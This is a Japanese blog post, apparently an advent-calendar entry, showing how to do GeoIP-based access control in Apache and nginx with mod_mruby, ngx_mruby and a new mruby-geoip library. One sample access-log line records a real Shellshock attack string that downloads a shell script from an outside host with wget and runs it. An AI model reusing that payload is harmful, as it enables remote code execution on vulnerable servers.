地理情報を使ってmod_mrubyとngx_mrubyでプログラマブルにアクセス制御


[mod_mruby ngx_mruby advent calendar 2014](http://qiita.com/advent-calendar/2014/mod-ngx-mruby) 13日目の記事になります。

12日目は @ainoya さんの「[mod_mrubyでJWTベースの認証proxyを作る](http://qiita.com/ainoya/items/656aff7df61554f68f87)」でした。

Apacheでもnginxでも、GeoIPの地理情報を使ってアクセス制御をすることができます。ですが、mod_mrubyやngx_mrubyを使って、同じような書き方でアクセス制御を書いたり、あるいは、他の条件と組み合わせてもっとプログラマブルにアクセス制御したいという要求があります。

そこで、[mruby-geoip](https://github.com/matsumoto-r/mruby-geoip)という、[mrubyからGeoIP（City）情報を取得するmgem](https://github.com/matsumoto-r/mruby-geoip)を作りました。そして、それをmod_mrubyとngx_mrubyと組み合わせる事で、上記のような要求を解決してみました。

今日はmruby-geoipとmod_mruby・ngx_mrubyの組み合わせ例から始まり、最終的にはGeoIPと他のパラメータを利用してアクセス集中対策をする簡単な例を紹介したいと思います。

また、このエントリによって自分が使いたい機能を持ったmgemを作れば、mod_mrubyやngx_mruby共にどんどん夢が広がっていく事もわかるかと思います。

## mruby-geoipの簡単な紹介

まずは、前々から欲しかった[GeoIPのmruby bindngであるmruby-geoip](https://github.com/matsumoto-r/mruby-geoip)を簡単に紹介します。といっても、使い方は簡単なので、以下のようなサンプルを見ると大体わかるでしょう。

```ruby
db_path = "/usr/share/GeoIP/GeoIPCity.dat"
host = "www.google.com"

geoip = GeoIP.new db_path

# You can use record_by_addr when using IP address into host
geoip.record_by_name host

geoip.country_code        #=> "US"
geoip.region              #=> "CA"
geoip.region_name         #=> "California"
geoip.city                #=> "Mountain View"
geoip.postal_code         #=> "94043"
geoip.latitude.round(4)   #=> 37.4192
geoip.longitude.round(4)  #=> -122.0574
geoip.metro_code          #=> 807
geoip.area_code           #=> 650
geoip.time_zone           #=> "America/Los_Angeles"
```

このように、ホスト名やIPアドレスから地理情報を得る事ができます。

## mod_mrubyでGeoIPを使って国別アクセス制御

では実際に、mod_mrubyとmruby-geoipを連携して国別にアクセス制御する機能を実装してみましょう。

### Apacheの設定とフックスクリプト

動作の設計としては、

1. workerプロセスが起動するタイミングでGeoIPCity.datを読込み
1. リクエストを受けた後のアクセスチェックフェーズで日本以外は拒否
1. 許可されたリクエストはレスポンスにGeoIPCityデータから地図上の位置等を生成

という流れにします。その場合、サンプルは以下のようになります。

```apache:httpd.conf
mrubyChildInitMiddle /etc/apache2/hooks/geo_init.rb
<Location />
  mrubyAccessCheckerMiddle /etc/apache2/hooks/geo_check.rb
  mrubyHandlerMiddle /etc/apache2/hooks/geo_handler.rb
</Location>
```

```ruby:geo_init.rb
Userdata.new("geoip_#{Process.pid}").geoip = GeoIP.new("/usr/share/GeoIP/GeoIPCity.dat")
```

```ruby:geo_check.rb
Server = get_server_class

geoip = Userdata.new("geoip_#{Process.pid}").geoip
geoip.record_by_addr Server::Connection.new.remote_ip

if geoip.country_code != "JP"
  Server.return Server::HTTP_FORBIDDEN
end
```

```ruby:geo_hander.rb
Server = get_server_class

r = Server::Request.new
c = Server::Connection.new
geoip = Userdata.new("geoip_#{Process.pid}").geoip

r.content_type = "text/html"
Server.echo "<HEAD><TITLE>your information</TITLE></HEAD><BODY>"
Server.echo "Your IP Address is #{c.remote_ip}<br>"
Server.echo "Your Country Code is #{geoip.country_code}<br>"
Server.echo "Your city is #{geoip.city}<br>"
Server.echo "Your region is #{geoip.region}<br>"
Server.echo "your are at <a href='http://maps.google.com/maps?q=#{geoip.latitude},#{geoip.longitude}'>this pin</a><br>"
Server.echo "</BODY>"
```

ブラウザからアクセスすると、IPやカントリーコード情報、Google Map上の位置等がレスポンスとして返って来ます。


簡単ですね。

## ngx_mrubyでもGeoIPを使ってアクセス制御

続いてngx_mrubyでも上記と同様の仕組みを実装してみましょう。

### nginxの設定とフックスクリプト

.
.
.

といっても、勘の良い方はもうすでに分かっていると思いますが、今回実装したフックスクリプトはngx_mrubyでもそのまま動きます。

つまり、nginxの設定に以下の様にスクリプトをフックする設定を書くだけで良いのです。

```nginx:nginx.conf
http {
  # (snip)
  mruby_init_worker /etc/apache2/hooks/geo_init.rb;
  # (snip)
  server {
    # (snip) 
    location / {
      mruby_access_handler /etc/apache2/hooks/geo_check.rb;
      mruby_content_handler /etc/apache2/hooks/geo_handler.rb;
    }
    # (snip)
  }
}
```

簡単ですね。同様のレスポンスが返ります。

## ngx_mrubyでもう少し色々弄ってみる

ngx_mrubyでのサンプルがあまりに簡単なので、もう少しngx_mrubyの場合にどういうことができるか弄ってみます。

### ログにカントリーコードを残す

カントリーコードをログに残したい場合もあります。もちろんこれは、既存のnginxのgeoipモジュールでも実現できますが、ngx_mrubyだとどう実装するのかというと、ngx_mrubyで任意のnginxの変数を作ってあげて、そこにカントリーコードをいれておけばよさそうですね。

以下nginxの設定とフックスクリプトになります。上記の設定に追加する形で書きます。

```nginx:nginx.conf
http {
  # (snip)
  mruby_init_worker /etc/apache2/hooks/geo_init.rb;
  # (snip)

  # 最後に$geo_countryを追記
  log_format main '$remote_addr - $remote_user [$time_local] "$request" '
                   '$status $body_bytes_sent "$http_referer" '
                   '"$http_user_agent" "$http_x_forwarded_for" "$geo_country"';

  access_log logs/access.log main;

  server {
    # (snip) 
    location / {
      mruby_access_handler /etc/apache2/hooks/geo_check.rb;

      # $geo_countryにカントリーコードを入れるようにフック作成
      mruby_set $geo_country /etc/apache2/hooks/geo_val.rb;

      mruby_content_handler /etc/apache2/hooks/geo_handler.rb;
    }
    # (snip)
  }
}
```

```ruby:geo_val.rb
Server = get_server_class

geoip = Userdata.new("geoip_#{Process.pid}").geoip
geoip.record_by_addr Server::Connection.new.remote_ip

geoip.country_code
```

すると、以下のようにログにちゃんとカントリーコードが出力されましたね。

```text:access.log
***.***.***.*** - - [12/Dec/2014:15:44:04 +0900] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 403 168 "-" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c http://qupn.byethost5.com/gH/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1" "-" "MY"

```

なんかきっついの来てますね...

### アクティブコネクションの増減とカントリーコードでアクセス制御

せっかくRubyでGeoIPの情報を利用しつつプログラマブルにアクセス制御を書けるので、他の例も考えてみましょう。

#### ngx_mrubyの場合

例えば、サーバにアクセスのあるアクティブコネクションの数がある閾値を超えた場合に、優先的に日本以外からのアクセスを一時的に制限する、といったことも可能ですね。

例えば以下のように書くと、

```ruby:geo_dos_ngx_mruby.rb
Server = get_server_class

dos_limit = 1000

geoip = Userdata.new("geoip_#{Process.pid}").geoip
geoip.record_by_addr Server::Connection.new.remote_ip

r = Server::Request.new

if r.var.connections_active.to_i > dos_limit
  if geoip.country_code != "JP"
    Server.return Server:: HTTP_SERVICE_UNAVAILABLE
  end  
end
```

アクティブコネクションが1000を越えだしたら、カントリーコードがJP以外はHTTP_SERVICE_UNAVAILABLEを返す、といったような処理になります。これを``mruby_access_handler``でフックさせると良いでしょう。

非常に簡単に書けますね。

#### mod_mrubyの場合

ついでなので、mod_mrubyの場合も考えてみましょう。mod_mrubyでは``Apahce::Scoreboard``でアクセス状況が色々と取得できるので、それを利用しましょう。

busyworkerが全体のworkerの90%を占めたら日本からのアクセスだけを許可する場合は以下のようなコードになるでしょう。

```ruby:geo_dos_mod_mruby.rb
Server = get_server_class

busy_limit = 90

geoip = Userdata.new("geoip_#{Process.pid}").geoip
geoip.record_by_addr Server::Connection.new.remote_ip

sb = Server::Scoreboard.new

busy_rate = sb.busy_worker / (sb.server_limit * sb.thread_limit) * 100

if busy_rate > busy_limit
  if geoip.country_code != "JP"
    Server.return Server:: HTTP_SERVICE_UNAVAILABLE
  end  
end
```

これまた簡単ですね。

## まとめ

ということで、今回はGeoIPのmgemを作ることで、mod_mrubyやngx_mrubyで同様のコードでアクセス制御を実装できたり、他のサーバ情報と組み合わせる事で、単一のGeoIP機能を使うよりも、より高度なアクセス制御を実装できる事を確認できました。

また、mruby-geoipのように、自分の欲しい機能をmgemとして実装することで、mod_mrubyやngx_mrubyでどんどん応用される事ができ、Webサーバの振る舞いをプログラミングするという視点でどんどん夢が広がりますね。

是非、色々な機能をmgemで作って遊んでみてください。

ということで、[mod_mruby ngx_mruby advent calendar 14日目](http://qiita.com/advent-calendar/2014/mod-ngx-mruby)は @takipone さんの「AWSとの組み合わせネタ書きます！」です。お楽しみに！